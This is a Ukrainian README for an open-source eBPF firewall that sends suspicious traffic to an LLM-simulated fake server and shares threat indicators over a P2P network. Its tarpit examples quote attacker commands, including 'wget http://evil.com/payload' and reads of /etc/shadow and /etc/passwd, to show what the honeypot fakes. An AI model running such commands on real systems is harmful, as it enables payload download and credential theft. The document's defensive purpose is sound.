blackwall/README_UA.md
Vladyslav Soliannikov a987991dec
Some checks failed
CI / Check & Clippy (push) Has been cancelled
CI / Tests (push) Has been cancelled
CI / eBPF Build (push) Has been cancelled
[hivemind] add live bootstrap node addresses + update READMEs
2026-04-17 23:59:06 +03:00

22 KiB
Raw Permalink Blame History

🌐 Мова: English | Українська | Русский

The Blackwall
Адаптивний eBPF файрвол з AI-ханіпотом та P2P загрозовою мережею

The Blackwall — Я побудував справжній Блеквол, бо Cyberpunk 2077 зламав мені мозок

"За Блекволом є речі, від погляду на які у нетраннера вигорить мозок."
— Альт Каннінгем, мабуть

Зараз будую enterprise AI-автоматизацію в Dokky
Enterprise ліцензування та консалтинг: xzcrpw1@gmail.com


TL;DR: Грав у Cyberpunk, надихнувся, написав цілий адаптивний файрвол, що працює всередині ядра Linux, ловить загрози за допомогою AI, заманює атакерів у фейковий сервер на базі LLM, і ділиться загрозовою інфою через децентралізовану P2P-мережу. ~21к рядків Rust. 298 тестів. 10 крейтів. Одна людина.


Що це?

The Blackwall — назва від цифрового бар'єру з Cyberpunk 2077, який тримає рогів AI від цивілізованого Нету.

Моя версія. Багаторівнева система захисту, яка не просто блокує загрози — вона їх вивчає, ловить в пастку і розповідає про них кожному іншому вузлу.

Три ключові рівні, що працюють разом:

1. Файрвол на рівні ядра (eBPF/XDP) — аналіз пакетів відбувається всередині ядра Linux ще до того, як трафік потрапить в мережевий стек. Рішення за наносекунди. Ентропійний аналіз, TLS-фінгерпринтинг, глибока інспекція пакетів, рейт-лімітинг, трекінг з'єднань — все працює в BPF віртуальній машині.

2. AI-ханіпот (Tarpit) — замість того, щоб просто дропати зловмисний трафік, він перенаправляється на фейковий Linux-сервер. LLM симулює bash, відповідає на команди, подає фейкові файли, грає роль зламаного root@web-prod-03. Атакери витрачають свій час, поки все записується.

3. P2P загрозова мережа (HiveMind) — вузли знаходять один одного, обмінюються IoC через зашифровану libp2p-мережу, голосують за загрози через консенсус, трекають репутацію пірів. Одна нода ловить сканер — всі інші дізнаються за секунди.

Плюс: розподілений контролер сенсорів, API для інтеграції з SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведінковий профайлінг по кожному IP, інгест загрозових фідів, PCAP-форензіка.


Архітектура

Blackwall Architecture

Threat Signal Flow

Пайплайн:

Пакет приходить
  → XDP: ентропія, блокліст/вайтліст, CIDR, рейт-ліміт, JA4, DPI
  → RingBuf (zero-copy) → Демон в юзерспейсі
  → Статичні правила → Поведінковий автомат → JA4 БД → LLM класифікація
  → Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
  → eBPF BLOCKLIST оновлюється в реальному часі
  → IoC розшарюється в HiveMind P2P-мережу

Що робить кожен крейт

blackwall-ebpf — Рівень ядра (1,334 рядки)

eBPF-програми на XDP-хуку — найраніша точка, де можна торкнутись пакета. Працює під жорсткими правилами BPF-верифікатора: 512 байт стеку, без хіпа, без float, тільки обмежені цикли.

  • Розрахунок ентропії — частотний аналіз байтів, цілочисельна ентропія Шеннона (07936). Висока ентропія на не-TLS портах → зашифрований C2-трафік
  • TLS-фінгерпринтинг — парсить ClientHello, витягує cipher suites, extensions, ALPN, SNI → JA4-відбиток. Один фінгерпринт покриває тисячі ботів з тією ж TLS-лібою
  • DPI через tail callsPROG_ARRAY диспатчить протокольні аналізатори:
    • HTTP: метод + URI (ловить /wp-admin, /phpmyadmin, path traversal)
    • DNS: довжина запиту + кількість лейблів (детекція DNS-тунелювання)
    • SSH: фінгерпринтинг банера (libssh, paramiko, dropbear)
  • DNAT-редірект — підозрілий трафік тихо NAT'иться на тарпіт. Атакер не знає, що покинув реальний сервер
  • Трекінг з'єднань — stateful TCP-моніторинг, LRU-мап (16K записів)
  • Рейт-лімітинг — per-IP token bucket, запобігає флуду і переповненню RingBuf
  • 4 RingBuf-канали — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS

Мапи: BLOCKLIST, ALLOWLIST, CIDR_RULES, COUNTERS, RATE_LIMIT, CONN_TRACK, NAT_TABLE, TARPIT_TARGET, PROG_ARRAY, плюс 4 RingBuf-мапи.

blackwall — Мозок (6,362 рядки)

Головний демон. Завантажує eBPF-програми, споживає евенти з RingBuf, запускає пайплайн рішень.

  • Rules engine — статичний блокліст/вайтліст, CIDR-діапазони з конфіга + фіди
  • Поведінковий автомат — профайлінг по IP: частота з'єднань, різноманіття портів, розподіл ентропії, аналіз таймінгу. Фази: New → Suspicious → Malicious → Blocked (або → Trusted). Детекція біконінгу через цілочисельний CoV
  • JA4-база — матчинг TLS-фінгерпринтів з відомими шкідливими сигнатурами
  • AI-класифікація — інтеграція з Ollama, моделі ≤3B параметрів (Qwen3 1.7B/0.6B). Батчинг евентів, структуровані JSON-вердикти
  • Загрозові фіди — інгест зовнішніх фідів (Firehol, abuse.ch)
  • PCAP-захоплення — форензічний запис з ротацією + компресією
  • Зворотний зв'язок у реальному часі — вердикти пишуться назад у eBPF BLOCKLIST
  • HiveMind-бридж — підтверджені IoC шарються в P2P-мережу

tarpit — Пастка (2,179 рядків)

Рівень обману. Атакери, перенаправлені сюди через DNAT, думають, що потрапили на реальний сервер.

  • Авто-детекція протоколу — визначає SSH, HTTP, MySQL, DNS по першим байтам
  • Хендлери протоколів:
    • SSH: банер, авторизація, PTY-сесія
    • HTTP: фейковий WordPress, /wp-admin, .env, реалістичні хедери
    • MySQL: хендшейк, авторизація, відповіді з фейковими даними
    • DNS: правдоподібні відповіді на запити
  • LLM-симуляція bash — кожна команда → Ollama. ls -la повертає файли, cat /etc/shadow — хеші, wget — "завантажує", mysql -u root — "підключається". LLM не знає, що це ханіпот
  • Експоненціальний джиттер — чанки 1-15 байт, затримка 100мс30с. Максимум витраченого часу
  • Анти-фінгерпринтинг — рандомізовані TCP window, TTL, початкова затримка. p0f/Nmap не розпізнають
  • Захист від prompt injection — 25+ паттернів, симуляція ніколи не ламається
  • Credential canaries — всі введені креди логуються
  • Управління сесіями — стан по з'єднанню, історія команд, трекінг CWD

hivemind — Мережа (6,526 рядків)

Децентралізований threat intelligence на libp2p.

  • Транспорт — QUIC + Noise-шифрування, кожне з'єднання автентифіковане
  • Пошук пірів — Kademlia DHT (глобальний), mDNS (локальний), конфігуровані seed-піри
  • Обмін IoC — GossipSub pub/sub, пропагація по мережі за секунди
  • Консенсус — N незалежних підтверджень обов'язкові. Ніякої одноджерельної довіри
  • Репутація — піри заробляють реп за хороші IoC, втрачають за фолси. Погані актори слешуються
  • Захист від Sybil — PoW-челенджі, детекція самопосилань в k-buckets, рейт-ліміт реєстрації
  • Федеративне навчання — локальний тренінг + FedAvg-агрегація, шарінг градієнтів (FHE-стаб)
  • Захист від data poisoning — моніторинг розподілу градієнтів, детекція model inversion
  • ZKP-інфраструктура — Groth16 стаби для trustless-верифікації IoC

hivemind-api — Enterprise-інтеграція (2,711 рядків)

REST API для підключення HiveMind-даних до корпоративних SIEM.

  • STIX 2.1 — стандартний формат threat intelligence
  • TAXII 2.1 — протокол обміну загрозами
  • Splunk HEC — HTTP Event Collector
  • QRadar LEEF — Log Event Extended Format
  • CEF — Common Event Format
  • Тіроване ліцензування — Basic / Professional / Enterprise / NationalSecurity
  • Лайв-статистика — XDP-каунтери + P2P-метрики в реальному часі

hivemind-dashboard — Монітор (571 рядок)

TUI-дашборд. Чистий ANSI — без ratatui, без crossterm, сирі escape-коди. Лайв-статус мережі.

blackwall-controller — Командний центр (356 рядків)

CLI для управління декількома сенсорами. HMAC-автентифікація (PSK). Статистика, список заблокованих IP, здоров'я всіх нод з одного місця.

common — Контракт (1,126 рядків)

#[repr(C)] типи між ядром і юзерспейсом: PacketEvent, RuleKey, TlsComponentsEvent, DpiEvent, каунтери, base64. Контракт, на якому побудована вся система.

xtask — Білд-тули (46 рядків)

cargo xtask build-ebpf — компіляція nightly + bpfel-unknown-none.


Стек технологій

Рівень Технологія Чому
Ядро aya-rs (eBPF/XDP) Чистий Rust eBPF — без C, без libbpf
Рантайм Tokio (current_thread) Однопотоковий, без оверхеду
IPC RingBuf Zero-copy, 7.5% оверхед проти 35% у PerfEventArray
Конкурентність papaya + crossbeam Lock-free мапи + MPMC-черги
P2P libp2p QUIC, Noise, Kademlia, GossipSub, mDNS
Крипта ring ECDSA, SHA256, HKDF, HMAC
HTTP hyper 1.x Мінімальний. Без веб-фреймворків
AI Ollama Локальний інференс, GGUF-квантизація
Конфіг TOML Читабельний, мінімальний
Логування tracing Структуроване. Zero println! в проді

22 залежності. Кожна обґрунтована. Без bloat-крейтів.


Деплой

deploy/
  docker/
    Dockerfile.blackwall       # Multi-stage, stripped binary
    Dockerfile.ebpf            # Nightly eBPF build
  helm/
    blackwall/                 # K8s DaemonSet + ConfigMap
  systemd/
    server/                    # Серверні юніти
    laptop/                    # Dev/ноутбук юніти
  examples/                    # Приклади конфігів
  healthcheck.sh               # Перевірка компонентів

Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, CAP_BPF). systemd для bare metal.


Швидкий старт

Вимоги

  • Linux 5.15+ з BTF (або WSL2 з кастомним ядром)
  • Rust stable + nightly з rust-src
  • bpf-linkercargo install bpf-linker
  • Ollama (опціонально, для AI)

Збірка

cargo xtask build-ebpf                      # eBPF (nightly)
cargo build --release --workspace            # весь юзерспейс
cargo clippy --workspace -- -D warnings      # лінт
cargo test --workspace                       # 298 тестів

Запуск

sudo RUST_LOG=info ./target/release/blackwall config.toml    # потрібен root/CAP_BPF
RUST_LOG=info ./target/release/tarpit                        # ханіпот
RUST_LOG=info ./target/release/hivemind                      # P2P-нода
RUST_LOG=info ./target/release/hivemind-api                  # API загрозових фідів
./target/release/hivemind-dashboard                          # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>

Конфіг

[network]
interface = "eth0"
xdp_mode = "generic"

[thresholds]
entropy_anomaly = 6000

[tarpit]
enabled = true
port = 2222
base_delay_ms = 100
max_delay_ms = 30000

[tarpit.services]
ssh_port = 22
http_port = 80
mysql_port = 3306
dns_port = 53

[ai]
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"

[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]

[feeds]
enabled = true
refresh_interval_secs = 3600

[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"

[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"

Тарпіт в дії

Підключаєшся до тарпіта і бачиш:

Ubuntu 24.04.2 LTS web-prod-03 tty1

web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1

root@web-prod-03:~#

Нічого з цього не існує. LLM грає в bash. ls — файли. cat /etc/passwd — юзери. mysql -u root -p — підключення. wget http://evil.com/payload — завантаження.

30 хвилин на сервері, якого нема. Кожен кістрок записаний. IoC розшарені в мережу.


Модель безпеки

  • Кожен байт з пакетів = контрольований атакером. Всі ctx.data() з bounds-check
  • Zero unwrap() в проді — ?, expect("reason"), або match
  • Prompt injection: очікується. 25+ паттернів ловиться, симуляція не ламається
  • P2P: Sybil guard (PoW + слешінг репутації), N-of-M консенсус по IoC
  • Тарпіт: TCP-рандомізація — p0f/Nmap не зможуть зафінгерпринтити
  • Контролер: HMAC-автентифікований, без неавторизованого доступу
  • Ядро: рейт-лімітинг запобігає переповненню RingBuf
  • Шатдаун: чистить правила файрволу, ніяких осиротілих iptables-записів

Enterprise-версія

Blackwall Enterprise додає те, чого немає ні в кого: аналіз Agent-to-Agent (A2A) трафіку в реальному часі на рівні ядра.

AI-агенти починають спілкуватись між собою — LLM-to-LLM, через MCP, A2A-протокол, агентні фреймворки. Це нова поверхня атаки: prompt injection через міжагентну комунікацію, підробка інтентів, крадіжка ідентичності агентів. На ринку нічого для цього нема. Blackwall Enterprise — перший і єдиний такий модуль.

~8,400 рядків Rust. Окреме репо, окрема ліцензія.

Компонент Що робить
A-JWT Валідація Верифікація Agentic JWT за IETF-драфтом. Перевірка підпису через ring, запобігання реплею, кешування ключів
Верифікація інтентів Вичерпний матчинг полів — max_amount, allowed_recipients (glob), allowlist дій
Чексума агента SHA256(system_prompt + tools_config) — темперинг = миттєвий блок
Proof-of-Possession cnf/jwk ECDSA-прив'язка — доводить, що агент тримає свій ключ
eBPF Uprobes Хуки в OpenSSL/GnuTLS SSL_write/SSL_read — перехоплює A2A-плейнтекст без розриву TLS
Risk-Based Routing Конфігуровані policy: allow / review / block по рівню ризику
ZK Proofs Атестація порушень без розкриття сирого трафіку (Groth16)
P2P Gossip Proof порушень броадкастяться в HiveMind-меш

Ліцензування: xzcrpw1@gmail.com


Статистика

Мова:            100% Rust
Всього:          ~21,200 рядків
Файлів:          92 .rs
Крейтів:         10
Тестів:          298
unwrap():        0 в проді
Залежностей:     22 (проаудитовані)
eBPF-стек:       ≤ 512 байт завжди
Clippy:          -D warnings, нуль проблем
CI:              check + clippy + tests + eBPF nightly build

Кіберпанк-довідка

Cyberpunk 2077 Цей проект
The Blackwall Файрвол на рівні ядра eBPF/XDP
ICE XDP fast-path: ентропія + JA4 + DPI + DNAT
Демони LLM-тарпіт — фейковий сервер за стіною
NetWatch Поведінковий движок + автомат по IP
Rogue AIs Ботнети, сканери, C2-бікони
Braindance PCAP-форензіка
Колектив нетраннерів HiveMind P2P-меш
Інфа від фіксерів Загрозові фіди
Arasaka C&C Розподілений контролер

Дисклеймер

Дослідницький проект у сфері безпеки. Для захисту вашої власної інфраструктури. Не використовуйте проти інших.

Не афілійований з CD Projekt Red. Просто гра, яка перекроїла мій мозок найкращим чином.


Ліцензія

BSL 1.1 (Business Source License)

Ліцензіар: Vladyslav Soliannikov Change Date: April 8, 2030 Change License: Apache-2.0


Подобається? Став зірку

"Прокинься, самурай. Маємо мережу захищати."